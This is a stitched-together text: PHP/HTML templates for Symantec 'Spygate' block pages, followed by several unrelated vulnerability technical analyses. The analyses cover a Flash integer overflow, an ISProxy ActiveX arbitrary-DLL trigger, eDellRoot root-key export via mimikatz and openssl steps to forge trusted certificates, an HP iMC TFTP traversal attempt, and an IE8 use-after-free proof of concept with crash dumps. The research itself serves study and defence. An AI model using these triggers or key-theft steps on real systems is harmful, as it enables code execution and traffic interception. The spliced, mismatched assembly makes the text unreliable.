<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Blocked File Download</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" href="styles/mi5.css" />
</head>

<body>
<div id="mainContent">

<div id="mainText">
<?php

				if ($image_name == '')
				{
					$image_url = "images/mi5.gif";
				}

			?>
              <img src="<?php echo $image_url . "?t=".time(); ?>" alt="Symantec Defense Centre" style="border: 1px solid #ddd;" /> <hr noshade="noshade" size="1" style="margin-bottom: 10px;" />
<table><tr><!--<td valign="top" style="width: 120px;">

  <p><a href="javascript:history.go(-1);">&laquo; Previous Page</a></p>

</td>-->

<td style="padding-left: 15px; border-left: 1px solid #999;">
<h3>Symantec Enterprise Spygate</h3>
<h1>Downloading this file is prohibited</h1>
  <p><?php echo $before_filename; ?> %%File%%<?php echo $after_filename; ?></p>

<p>If you think this spyware detection was in error, please click here.</p>

</td></tr></table>

</div>
<div class="copyright">&copy; Copyright 2004-2006, Symantec</div>
</div>


</body>
</html>

blocked_url

<?php
	include_once("config/conf.php");
	include_once("config/db.php");
	include_once("includes/util_functions.php");


	if (isset($_POST['submitted']))
	{
		$updated = true;
		unescape_form_vals(); // remove slashes form values	as we are displaying only

		$new_image = $_FILES['new_image'];
		$before_url = $_POST['before_url'];
		$after_url = $_POST['after_url'];

		$image_query = "select value from mi5_blockpagemsg where name='image_name'";
		$image_result = @mysql_query($image_query);
		$image_row = @mysql_fetch_assoc($image_result);
		$old_image_name = $image_row['value'];
		@mysql_free_result($image_result);
		$image_name = $old_image_name;
		$image_url = $upload_image_url . "/". $image_name;

		if ($new_image['error'] == UPLOAD_ERR_OK && $new_image['size'] > 0) // file is uploaded
		{
			$return_arr = upload_file($new_image, $upload_image_path_temp, "temp");
			if ($return_arr['uploaded'])
			{
				$image_name = $return_arr['new_file_name'];
				$image_url = $upload_image_url_temp . "/". $image_name;
			}
		}
	}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>Blocked URL</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<link rel="stylesheet" href="styles/mi5.css" />
</head>

<body>
<div id="mainContent">

<div id="mainText">
<?php				if ($image_name == '')
				{
					$image_url = "images/mi5.gif";
				}

			?>
              <img src="<?php echo $image_url . "?t=".time(); ?>" alt="Symantec Defense Centre" style="border: 1px solid #ddd;" /> <hr noshade="noshade" size="1" style="margin-bottom: 10px;" />
<table><tr><!--<td valign="top" style="width: 120px;">

  <p><a href="javascript:history.go(-1);">&laquo; Previous Page</a></p>

</td>-->

<td style="padding-left: 15px; border-left: 1px solid #999;">
<h3>Symantec Enterprise Spygate</h3>
<h1>Accessing web pages from this URL is prohibited</h1>
  <p><?php echo $before_url; ?> %%URL%%<?php echo $after_url; ?></p>

<p>If you think this spyware detection was in error, please click here.</p>

</td></tr></table>

</div>
<div class="copyright">&copy; Copyright 2004-2006, Symantec</div>
</div>


</body>
</html>
1
Technical Analysis

Details

This is a vulnerability in Adobe Flash. It is due to an incomplete patch of CVE-2015-5560. The decode_buffer_size is calculated this way in Flash:

decode_buffer_size = (encode_data_size  1) * 6 + 2

In asm:

.text:10024F13 loc_10024F13:                           ; CODE XREF: sub_10024C79+278j
.text:10024F13                 mov     eax, ebx
.text:10024F15                 imul    eax, 6
.text:10024F18                 add     eax, 2
.text:10024F1B                 cmp     [esi+28h], eax
.text:10024F1E                 mov     [ebp+var_20], eax
.text:10024F21                 jge     short loc_10024F4D

During decoding, the buffer can be reallocated:

int current_buffer_size

int decoded_buffer_size

if (current_buffer_size  < decoded_buffer_size) {

// reallocate the decode buffer

}

If the encode_data_size is larger than 0x2aaaaaab, it will cause an integer overflow in the
calculation of (encode_data_size –1) * 6 + 2

Patch for CVE-2015-5560

Version 18.0.0.232:

.text:10024E3E                 mov     eax, [ebp+var_14]
.text:10024E41                 imul    eax, 6
.text:10024E44                 inc     eax
.text:10024E45                 inc     eax
.text:10024E46                 cmp     eax, [ebp+var_14]
.text:10024E49                 jbe     loc_10024FB8
(encode_data_size * 6 + 2) >  encode_data_size

Analysis of CVE-2015-8446

If the patch is bypassed, we have CVE-2015-8446.

If encode_data_size is 0x15555580:

(0x15555580 – 1) * 6 + 2 = 0x800000FC

Which is less than 0.

And then that can cause an overflow.

ByteArray Length Protection

Adobe introduced the ByteArray Length Protection in December, which would make exploitation
difficult against newer versions of Adobe Flash.

It is likely the exploit in the wild exploited an older version of Adobe Flash (this needs to be
confirmed).

1
Technical Analysis

The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.

(1) Legit Code Samples

var file = new ActiveXObject("ISProxy.Proxy");
file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}");

var objMgr = new ActiveXObject("ISProxy.Proxy");
objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");

Vulnerable code

Form ISProxy.dll

.text:63371561                 push    eax             ; lpPathName => C:\Documents and Settings\system
.text:63371562                 call    esi ; SetCurrentDirectoryA
.text:63371564                 lea     ecx, [ebp+var_38]
.text:63371567                 mov     byte ptr [ebp+var_4], 2
.text:6337156B                 call    sub_6337186D
.text:63371570                 lea     ecx, [ebp+var_68]
.text:63371573                 call    sub_63372927
.text:63371578                 push    eax             ; lpLibFileName => Controlled from the second arg
.text:63371579                 call    ds:LoadLibraryA
.text:6337157F                 mov     edi, eax
.text:63371581                 lea     eax, [ebp+PathName]
.text:63371587                 push    eax             ; lpPathName
.text:63371588                 call    esi ; SetCurrentDirectoryA

Trigger

The next HTML will try to load c:\test.dll

<html>
<object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'></object>
<script language='javascript'>
test.Initialize(document);
test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283");
</script>
</html>

So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.

So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.

1
Technical Analysis

Details

How to exploit:

  • Export the DER CA certificate (through the windows certificate manager for example).
  • Covert DER CA certificate to PEM
openssl x509 -in der_edell_root.cer -inform der -outform pem -out edell_root.pem
  • Export the certificate private key, use mimikatz
crypto::certificates /systemstore:local_machine /store:Root /export

The certificate (again) and its private key will be in the directory where mimikatz lives. The private key is inside the .pfx

  • Extract the key from the pfx and save as pem (password: mimikatz)
openssl pkcs12 -in local_machine_Root_3_eDellRoot.pfx -nocerts -out key.pem -nodes
  • Save the file.srl with “6C”

  • Create a server certificate request

openssl genrsa -out server.key 1024
openssl req -key server.key -new -out server.req

Use the CA certificate and its private key to generate the server certificate:

openssl x509 -req -in server.req -CA edell_root.pem -CAkey key.pem -CAserial file.srl -out server.pem

profit!

require 'webrick'
require 'webrick/https'
require 'openssl'

cert = OpenSSL::X509::Certificate.new(File.read('server.pem'))
pkey = OpenSSL::PKey::RSA.new(File.read('server.key'))

server = WEBrick::HTTPServer.new(:Port => 8000, :SSLEnable => true, :SSLCertificate => cert, :SSLPrivateKey => pkey)
server.start

Go to localhost:8000/test.html, you should see that eDellRoot has identified the site as localhos,
and that your connection is trusted.

1
Technical Analysis

Setup

  • Windows Server 2003 SP2
  • .Net Framework 3.5 SP1
  • Windows Installer 4.5
  • HP iMC 5.0
  • Microsoft SQL Server 2008 Express
  • LocalSystem to run the service
  • sa account enabled
  • TCP/IP and Named Pipes enabled

Breakpoints

bp 00402542 ".printf /ow \"\\nHandling WRQ request\\n\"; g"
bp 00402241 ".printf \"File path check for '/', you have:\\n\"; db esi L1; g"
bp 0040225a ".printf \"File path check for ':', you have:\\n\"; db esi+1 L1; g"
bp 00402268 ".printf \"Searching for '..' in file path, found: %x\\n\", eax; g"
bp 00402277 ".printf /oe \"You have hit File Access Violation in RRQ\\n\"; g"

bp 00401ea0 ".printf /ow \"\\nHandling DATA request\\n\"; g"
bp 00402097 ".echo \"File handles before open():\"; .foreach /pS 1 /ps 1 (h {!handle 0 0x04 File}) {.if ($scmp(\"${h}\",\"type\") > -1) {} .elsif ($scmp(\"${h}\", \"handles\") > -1) {} .else { .printf \"File handle \"; .echo h} } ;.echo; g"
bp 00402096 ".echo \"Opening file handle for path:\"; db eax; ; .echo; g"
bp 004020a1 ".echo \"File handles after open():\"; .foreach /pS 1 /ps 1 (h {!handle 0 0x04 File}) {.if ($scmp(\"${h}\",\"type\") > -1) {} .elsif ($scmp(\"${h}\", \"handles\") > -1) {} .else { .printf \"File handle \"; .echo h} } ;.echo; g"
bp 00402108 ".echo \"Writing to file...\"; g"

Thoughts

ZDI claims that this is a “remote code execution” bug, because a remote user can upload an arbitrary
file onto the remote server. In theory, being able to write to the victim machine COULD lead to code
execution, but after looking at the bug, it’s probably a long shot.

Ideally, an arbitrary WRITE vulnerability requires one of the conditions to be met in order to ensure
automatic code execution:

  1. The user can traverse their way out, and write the malicious file onto a specific place such as WBEM.
  2. Having the upload folder mapped as a WWW virtual directory. That way you can upload a malicious web
    script using TFTP, and then send a HTTP request to execute the script.
  3. If there’s already an executable placed in the upload folder, and it’s called by some other services
    or programs, in theory you could overwrite that file, and then gain code execution when it’s called.

The technique ZDI is referring to is probably #3, because this is what they say in the advisory:

"When handling WRQ opcode types the server allows arbitrary file creation. Additionally,"
the server is configured to truncate/overwrite existing files."

However, the default upload directory does not have any executable in there, except for a ‘License.txt”
file. So attack vector #3 is very unlikely. Note: The default location of that directory is:

C:\Program Files\iMC\server\tmp\

Attack vector #2 should also be ruled out, because by default, the upload directory isn’t mapped or
shared to anything.

And that leaves us attack vector #1 (dir traversal)…

It’s rather easy to make a WRQ request using the tftp command. Here’s an attempt of trying to write to
a location outside of the ‘tmp’ directory:

tftp> connect 10.0.1.8
tftp> put /tmp/test.txt ../../../../blah/test.txt
Error code 256: Access voilation.

During the above experiment, folder “blah” is set to allow full access to “everyone”.

Process Monitor also does not show any signs of the tftpserver.exe process attempting to access path
test.txt before hitting an “Access violation”:

tftpserver.exe	4092	UDP Receive	sinn3r-qixn9ta2:tftp -> 10.0.1.3:50839	SUCCESS	Length: 40
tftpserver.exe	4092	UDP Send	sinn3r-qixn9ta2:tftp -> 10.0.1.3:50839	SUCCESS	Length: 22
tftpserver.exe	4092	QueryStandardInformationFile	C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt	SUCCESS	AllocationSize: 4,096, EndOfFile: 2,815, NumberOfLinks: 1, DeletePending: False, Directory: False
tftpserver.exe	4092	QueryStandardInformationFile	C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt	SUCCESS	AllocationSize: 4,096, EndOfFile: 2,815, NumberOfLinks: 1, DeletePending: False, Directory: False
tftpserver.exe	4092	WriteFile	C:\Program Files\iMC\server\conf\log\tftpserver.2012-09-14.txt	SUCCESS	Offset: 2,815, Length: 132

This is what we get from the TFTP’s log file:

2012-09-14 14:36:27.182 [ERROR (-1)] [THREAD(6196)] [TFTPService::handle_input] Receive error packet
2012-09-14 14:37:00.869 [ERROR (-1)] [THREAD(6196)] [TFTP::handleRRQ] File Access Voliation,filename=../../../../../blah/test.txt!

Based on these clues, I suspect the “Access violation” error is thrown before tftpserver.exe actually
tries to write ‘test.txt’ to the file system.

In particular, this is the code that’s the reason we get “Access violation” — when there’s a “..” in
our path, we get rejected:

.text:0040225C loc_40225C:                             ; CODE XREF: handleWRQ+84j
.text:0040225C                 push    offset SubStr   ; ".."
.text:00402261                 push    esi             ; Str
.text:00402262                 call    ds:strstr
.text:00402268                 add     esp, 8
.text:0040226B                 test    eax, eax
.text:0040226D                 jz      short loc_402298 ; If no ".." found, go to 0x402298
.text:0040226F
.text:0040226F loc_40226F:                             ; CODE XREF: handleWRQ+71j
.text:0040226F                                         ; handleWRQ+8Aj
.text:0040226F                 push    esi             ; ArgList
.text:00402270                 push    offset aTftpHandlerr_2 ; "[TFTP::handleRRQ] File Access Voliation"...
.text:00402275                 push    0FFFFFFFFh      ; int
.text:00402277                 call    sub_408180
.text:0040227C                 add     esp, 0Ch
.text:0040227F                 lea     eax, [esp+0ACh+var_98]
.text:00402283                 push    eax
.text:00402284                 mov     ecx, ebp
.text:00402286                 mov     [esp+0B0h+var_98], 2
.text:0040228E                 call    buildErrorPacket

Other characters that can lead to the same rejection (part of the same function – 0x004021D0):

.text:00402239                 cmp     eax, 1          ; Make sure there's at least 1 byte of file path to check
.text:0040223C                 jb      short loc_402243
.text:0040223E                 cmp     byte ptr [esi], '/' ; Check if the file path begins with "/"
.text:00402241                 jz      short loc_40226F ; Access Violation

.text:0040224F                 sub     eax, edx
.text:00402251                 cmp     eax, 2          ; Make sure there's at least 2 bytes in the file path
.text:00402254                 jb      short loc_40225C
.text:00402256                 cmp     byte ptr [esi+1], ':' ; Check the second byte for ":"
.text:0040225A                 jz      short loc_40226F ; Access Violation

Environment variables can bypass these checks. However, it won’t be recognized as a legit file path.

Here’s the routine that creates/writes the file:

.text:00402096 loc_402096:                             ; CODE XREF: handleDATA+1CDj
.text:00402096                                         ; handleDATA+1D9j
.text:00402096                 push    eax
.text:00402097                 lea     ecx, [esp+0B8h+var_94]
.text:0040209B                 call    ds:?open@?$basic_ofstream@DU?$char_traits@D@std@@@std@@QAEXPBDHH@Z ; std::basic_ofstream<char,std::char_traits<char>>::open(char const *,int,int)
...
.text:00402103 loc_402103:                             ; CODE XREF: handleDATA+25Cj
.text:00402103                 push    ebx
.text:00402104                 lea     ecx, [esp+0B4h+var_94]
.text:00402108                 call    ds:?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBDH@Z ; std::basic_ostream<char,std::char_traits<char>>::write(char const *,int)

The actual file path that will be opened (see that it’s also rejected):

tftpserver.exe	4092	CreateFile	C:\Program Files\iMC\server\tmp\%SystemDrive%\blah\test.txt	PATH NOT FOUND	Desired Access: Generic Write, Read Attributes, Disposition: OverwriteIf, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: N, ShareMode: Read, Write, AllocationSize: 0
1
Technical Analysis

Analysis

In IE8 standards mode, it’s possible to cause a use-after-free condition by first creating an
illogical table tree, where a CPhraseElement comes after CTableRow, with the final node being
a sub table element. When the CPhraseElement’s outer content is reset by using either outerText
or outerHTML through an event handler, this triggers a free of its child element (in this case,
a CAnchorElement, but some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference to the next
functions, eventually used in mshtml!CElement::Doc when it’s trying to make a call to the object’s
SecurityContext virtual function at offset +0x70, which results a crash. An attacker can take
advantage of this by first creating an CAnchorElement object, let it free, and then replace the
freed memory with another fake object. Successfully doing so may allow arbitrary code execution
under the context of the user.

This bug is specific to Internet Explorer 8 only. It was originally discovered by Orange Tsai at
Hitcon 2013, but was silently patched in the July 2013 update (MS13-055).

PoC does not trigger for the following setups:

  • Win XP SP3 + IE7
  • Win 7 SP1 + IE9

PoC

<!DOCTYPE html>

<table>
    <tr>
        <div>
            <span>
                <q id='e'>
                    <a>
                        <td></td>
                    </a>
                </q>
            </span>
        </div>
    </tr>
</table>

<script>
window.onload = function(){
var x = document.getElementById('e');
x.outerHTML = '';
}
</script>
</html>

DOM Tree

CBodyElement -> CTable -> CTableSection -> CTableRow -> CPhraseElement -> CAnchorElement -> CTableCell

Win XP SP3 + IE8

.text:63717B12 ; public: class ISpanQualifier * __thiscall SRunPointer::SpanQualifier(void)const
.text:63717B12 ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ proc near
...
text:63717B2D                 mov     eax, [eax+0Ch]

And then this return value is passed on to GetFancyFormat:

.text:6371DBC5                 call    ?SpanQualifier@SRunPointer@@QBEPAVISpanQualifier@@XZ ; SRunPointer::SpanQualifier(void)
.text:6371DBCA                 call    ?GetFancyFormat@ISpanQualifier@@QAEPBVCFancyFormat@@_N@Z ; ISpanQualifier::GetFancyFormat(bool)
...

In GetFancyFormat, that return value is assigned to ESI:
.text:63717F1A                 mov     esi, eax
.text:63717F1C                 call    ?IsTreeNodeQualifier@ISpanQualifier@@QBE_NXZ ; ISpanQualifier::IsTreeNodeQualifier(void)

ESI will then get assigned to ECX - "this" in C++:
.text:63717F29                 mov     ecx, esi
.text:63717F2B                 call    ?GetFancyFormat@CTreeNode@@QAEPBVCFancyFormat@@XZ ; CTreeNode::GetFancyFormat(void)

You keep following ECX, eventually that leads to the crash.

0:008> dd ebx L30/4
06a20fb0  06a32f98 00000000 ffff0002 ffffffff
06a20fc0  00000011 00000000 00000000 00000000
06a20fd0  00000000 06a20fd8 00000012 00000000


vftable     = 06a32f98
Ref counter = 0


0:008> !heap -p -a ebx
    address 06a20fb0 found in
    _DPH_HEAP_ROOT @ 151000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 653d418:          6a20fb0               4c -          6a20000             2000
          ? <Unloaded_pi.dll>+6a32f97
    7c918f01 ntdll!RtlAllocateHeap+0x00000e64
    636a9a94 mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141
    636a99d3 mshtml!CHtmRootParseCtx::EndElement+0x000000cb
    635a8ee4 mshtml!CHtmTextParseCtx::EndElement+0x0000006e
    635a71eb mshtml!CHtmParse::EndElement+0x0000007b
    6359f47c mshtml!CHtmParse::CloseContainer+0x000001c5
    635bf441 mshtml!CHtmParse::CloseAllContainers+0x00000026
    635a941d mshtml!CHtmParse::PrepareContainer+0x0000007f
    635a933f mshtml!CHtmParse::ParseBeginTag+0x00000028
    635a6bb6 mshtml!CHtmParse::ParseToken+0x00000082
    635a7ff4 mshtml!CHtmPost::ProcessTokens+0x00000237
    635a734c mshtml!CHtmPost::Exec+0x00000221
    635ac2b8 mshtml!CHtmPost::Run+0x00000015
    635ac21b mshtml!PostManExecute+0x000001fd
    635ac17e mshtml!PostManResume+0x000000f8
    635ac0e2 mshtml!CHtmPost::OnDwnChanCallback+0x00000010



0:008> !heap -p -a ecx
    address 06a32f98 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    653d6c0:          6a32000             2000
    7c927553 ntdll!RtlFreeHeap+0x000000f9
    637e06f2 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63625df6 mshtml!CElement::PrivateExitTree+0x00000011
    635c5ef1 mshtml!CMarkup::SpliceTreeInternal+0x00000083
    635c84e3 mshtml!CDoc::CutCopyMove+0x000000ca
    635c9264 mshtml!CDoc::Remove+0x00000018
    635c92e9 mshtml!RemoveWithBreakOnEmpty+0x0000003a
    63742f86 mshtml!CElement::InjectInternal+0x0000032a
    635c9415 mshtml!CElement::InjectCompatBSTR+0x00000046
    638bb56b mshtml!CElement::put_outerText+0x00000025
    6366906f mshtml!GS_BSTR+0x000001ab
    636430c9 mshtml!CBase::ContextInvokeEx+0x000005d1
    6366418a mshtml!CElement::ContextInvokeEx+0x0000009d
    6362b6ce mshtml!CInput::VersionedInvokeEx+0x0000002d
    63642eec mshtml!PlainInvokeEx+0x000000ea

.text:635C4A2E ; public: static long __stdcall CAnchorElement::CreateElement(class CHtmTag *, class CDoc *, class CElement * *)
.text:635C4A2E ?CreateElement@CAnchorElement@@SGJPAVCHtmTag@@PAVCDoc@@PAPAVCElement@@@Z proc near
.text:635C4A2E                                         ; DATA XREF: .text:6364B798o
.text:635C4A2E
.text:635C4A2E arg_4           = dword ptr  0Ch
.text:635C4A2E arg_8           = dword ptr  10h
.text:635C4A2E
.text:635C4A2E ; FUNCTION CHUNK AT .text:638589CC SIZE 0000000A BYTES
.text:635C4A2E
.text:635C4A2E                 mov     edi, edi
.text:635C4A30                 push    ebp
.text:635C4A31                 mov     ebp, esp
.text:635C4A33                 push    esi
.text:635C4A34                 push    edi
.text:635C4A35                 push    68h             ; dwBytes
.text:635C4A37                 push    8               ; dwFlags
.text:635C4A39                 push    _g_hProcessHeap ; hHeap
.text:635C4A3F                 xor     edi, edi
.text:635C4A41                 call    ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)



0:008> r
eax=63aae200 ebx=06a20fb0 ecx=06a32f98 edx=00000000 esi=037cd1e0 edi=00000000
eip=6363fcc4 esp=037cd1b4 ebp=037cd1cc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6363fcc4 8b01            mov     eax,dword ptr [ecx]  ds:0023:06a32f98=????????

0:008> dds 63630788+0x70 L1
636307f8  6363fc94 mshtml!CElement::SecurityContext



0:008> k
ChildEBP RetAddr
037cd1b0 63602718 mshtml!CElement::Doc
037cd1cc 636026a3 mshtml!CTreeNode::ComputeFormats+0xb9
037cd478 63612a85 mshtml!CTreeNode::ComputeFormatsHelper+0x44
037cd488 63612a45 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
037cd498 63612a2c mshtml!CTreeNode::GetFancyFormatHelper+0xf
037cd4a8 63717f30 mshtml!CTreeNode::GetFancyFormat+0x35
037cd4b4 6371dbcf mshtml!ISpanQualifier::GetFancyFormat+0x5a
037cd4c0 6371db8f mshtml!SRunPointer::IsRelativeSpanEdge+0x3a
037cd4c8 637224a7 mshtml!SRunPointer::IsRelativeSpan+0x14
037cd4e8 63722412 mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d
037cd518 63723ccf mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24d
037cd89c 63723c13 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90
037cd924 63723b48 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66
037cda10 6370e989 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203
037cdac8 6370e73e mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
037cde48 636ccc93 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x349
037cdeec 636cca21 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x130
037ce408 6370c515 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad
037ce888 6370c515 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6
037ced08 6370e989 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a6

Win 7 SP0 + IE8

Microsoft (R) Windows Debugger Version 6.11.0001.404 X86
Copyright (c) Microsoft Corporation. All rights reserved.
....
0:012> g
....
(c20.274): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=6b105100 ebx=08a7ffb0 ecx=08f0ff98 edx=00000000 esi=043fcf78 edi=00000000
eip=6ad8c400 esp=043fcf4c ebp=043fcf64 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
mshtml!CElement::Doc:
6ad8c400 8b01            mov     eax,dword ptr [ecx]  ds:0023:08f0ff98=????????
0:005> u
mshtml!CElement::Doc:
6ad8c400 8b01            mov     eax,dword ptr [ecx]
6ad8c402 8b5070          mov     edx,dword ptr [eax+70h]
6ad8c405 ffd2            call    edx
6ad8c407 8b400c          mov     eax,dword ptr [eax+0Ch]
6ad8c40a c3              ret
6ad8c40b 33c0            xor     eax,eax
6ad8c40d e9f7aeffff      jmp     mshtml!CAttrArray::PrivateFind+0x8f (6ad87309)
6ad8c412 90              nop
0:005> k
ChildEBP RetAddr
043fcf48 6adb5961 mshtml!CElement::Doc
043fcf64 6adb586d mshtml!CTreeNode::ComputeFormats+0xba
043fd210 6adba12d mshtml!CTreeNode::ComputeFormatsHelper+0x44
043fd220 6adba0ed mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
043fd230 6adba0d4 mshtml!CTreeNode::GetFancyFormatHelper+0xf
043fd240 6ac3b9c4 mshtml!CTreeNode::GetFancyFormat+0x35
043fd24c 6acb15b0 mshtml!ISpanQualifier::GetFancyFormat+0x5a
043fd258 6acb156d mshtml!SRunPointer::IsRelativeSpanEdge+0x3a
043fd260 6acb4c92 mshtml!SRunPointer::IsRelativeSpan+0x14
043fd290 6acb4bfd mshtml!CDisplayBoxProperties::GetHasInlineOutlines+0x7d
043fd2c0 6acb532e mshtml!CDisplayBoxProperties::SetDisplayBoxProperties+0x24c
043fd644 6acb5272 mshtml!CPtsTextParaclient::SetupTextDisplayBox+0x90
043fd6d4 6acb51a7 mshtml!CPtsTextParaclient::SetupDisplayBoxForSpan+0x66
043fd7c0 6ac9e4a9 mshtml!CPtsTextParaclient::SetupDisplayBox+0x203
043fd878 6ac9e271 mshtml!CPtsBfcBlockParaclient::SetupDisplayBoxForTrack+0x2b7
043fdbf8 6ac57a79 mshtml!CPtsBfcBlockParaclient::SetupDisplayBox+0x352
043fdc9c 6ac57834 mshtml!CPtsTableContainerParaclient::SetupDisplayBoxForTrack+0x133
043fe1b8 6ac9d919 mshtml!CPtsTableContainerParaclient::SetupDisplayBox+0x2ad
043fe638 6ac9d919 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9
043feab8 6ac9e4a9 mshtml!CPtsBlockContainerParaclient::SetupDisplayBox+0x4a9
0:005> !heap -p -a ebx
    address 08a7ffb0 found in
    _DPH_HEAP_ROOT @ 51000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 83d3e04:          8a7ffb0               4c -          8a7f000             2000
    6d4f8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    77594ea6 ntdll!RtlDebugAllocateHeap+0x00000030
    77557d96 ntdll!RtlpAllocateHeap+0x000000c4
    775234ca ntdll!RtlAllocateHeap+0x0000023a
    6ac2565b mshtml!CHtmRootParseCtx::OverlappedEndElement+0x00000141
    6ac2557e mshtml!CHtmRootParseCtx::EndElement+0x000000cb
    6ad17870 mshtml!CHtmTextParseCtx::EndElement+0x0000006e
    6ad170b8 mshtml!CHtmParse::EndElement+0x0000007b
    6ad2a4de mshtml!CHtmParse::CloseContainer+0x000001c1
    6ad292d3 mshtml!CHtmParse::CloseAllContainers+0x00000026
    6ad18864 mshtml!CHtmParse::PrepareContainer+0x0000007f
    6ad18907 mshtml!CHtmParse::ParseBeginTag+0x00000028
    6ad16e93 mshtml!CHtmParse::ParseToken+0x00000082
    6ad175c9 mshtml!CHtmPost::ProcessTokens+0x00000237
    6ad078e8 mshtml!CHtmPost::Exec+0x00000221
    6ad08a99 mshtml!CHtmPost::Run+0x00000015
    6ad089fd mshtml!PostManExecute+0x000001fb
    6ad07c66 mshtml!PostManResume+0x000000f7
    6ad213f6 mshtml!CHtmPost::OnDwnChanCallback+0x00000010
    6ad053fc mshtml!CDwnChan::OnMethodCall+0x00000019
    6ada94b2 mshtml!GlobalWndOnMethodCall+0x000000ff
    6ad937f7 mshtml!GlobalWndProc+0x0000010c
    75bc86ef USER32!InternalCallWinProc+0x00000023
    75bc8876 USER32!UserCallWinProcCheckWow+0x0000014b
    75bc89b5 USER32!DispatchMessageWorker+0x0000035e
    75bc8e9c USER32!DispatchMessageW+0x0000000f
    6d8004a6 IEFRAME!CTabWindow::_TabWindowThreadProc+0x00000452
    6d810446 IEFRAME!LCIETab_ThreadProc+0x000002c1
    763849bd iertutil!CIsoScope::RegisterThread+0x000000ab
    75f71174 kernel32!BaseThreadInitThunk+0x0000000e
    7752b3f5 ntdll!__RtlUserThreadStart+0x00000070
    7752b3c8 ntdll!_RtlUserThreadStart+0x0000001b


0:005> !heap -p -a ecx
    address 08f0ff98 found in
    _DPH_HEAP_ROOT @ 51000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    8f50138:          8f0f000             2000
    6d4f90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    77595674 ntdll!RtlDebugFreeHeap+0x0000002f
    77557aca ntdll!RtlpFreeHeap+0x0000005d
    77522d68 ntdll!RtlFreeHeap+0x00000142
    75f6f1ac kernel32!HeapFree+0x00000014
    6adf8c42 mshtml!CAnchorElement::`vector deleting destructor'+0x00000028
    6ad97dd0 mshtml!CBase::SubRelease+0x00000022
    6adf0fdf mshtml!CElement::PrivateExitTree+0x00000011
    6acd5b42 mshtml!CMarkup::SpliceTreeInternal+0x00000083
    6acd6ff9 mshtml!CDoc::CutCopyMove+0x000000ca
    6acd6f39 mshtml!CDoc::Remove+0x00000018
    6acd6f17 mshtml!RemoveWithBreakOnEmpty+0x0000003a
    6ac0288a mshtml!CElement::InjectInternal+0x0000032a
    6acd704a mshtml!CElement::InjectCompatBSTR+0x00000046
    6af1aee9 mshtml!CElement::put_outerText+0x00000025
    6ae172d6 mshtml!GS_BSTR+0x000001ac
    6ae0235c mshtml!CBase::ContextInvokeEx+0x000005dc
    6ae0c75a mshtml!CElement::ContextInvokeEx+0x0000009d
    6ae0c79a mshtml!CInput::VersionedInvokeEx+0x0000002d
    6adb3104 mshtml!PlainInvokeEx+0x000000eb
    6cdea22a jscript!IDispatchExInvokeEx2+0x00000104
    6cdea175 jscript!IDispatchExInvokeEx+0x0000006a
    6cdea3f6 jscript!InvokeDispatchEx+0x00000098
    6cdea4a0 jscript!VAR::InvokeByName+0x00000139
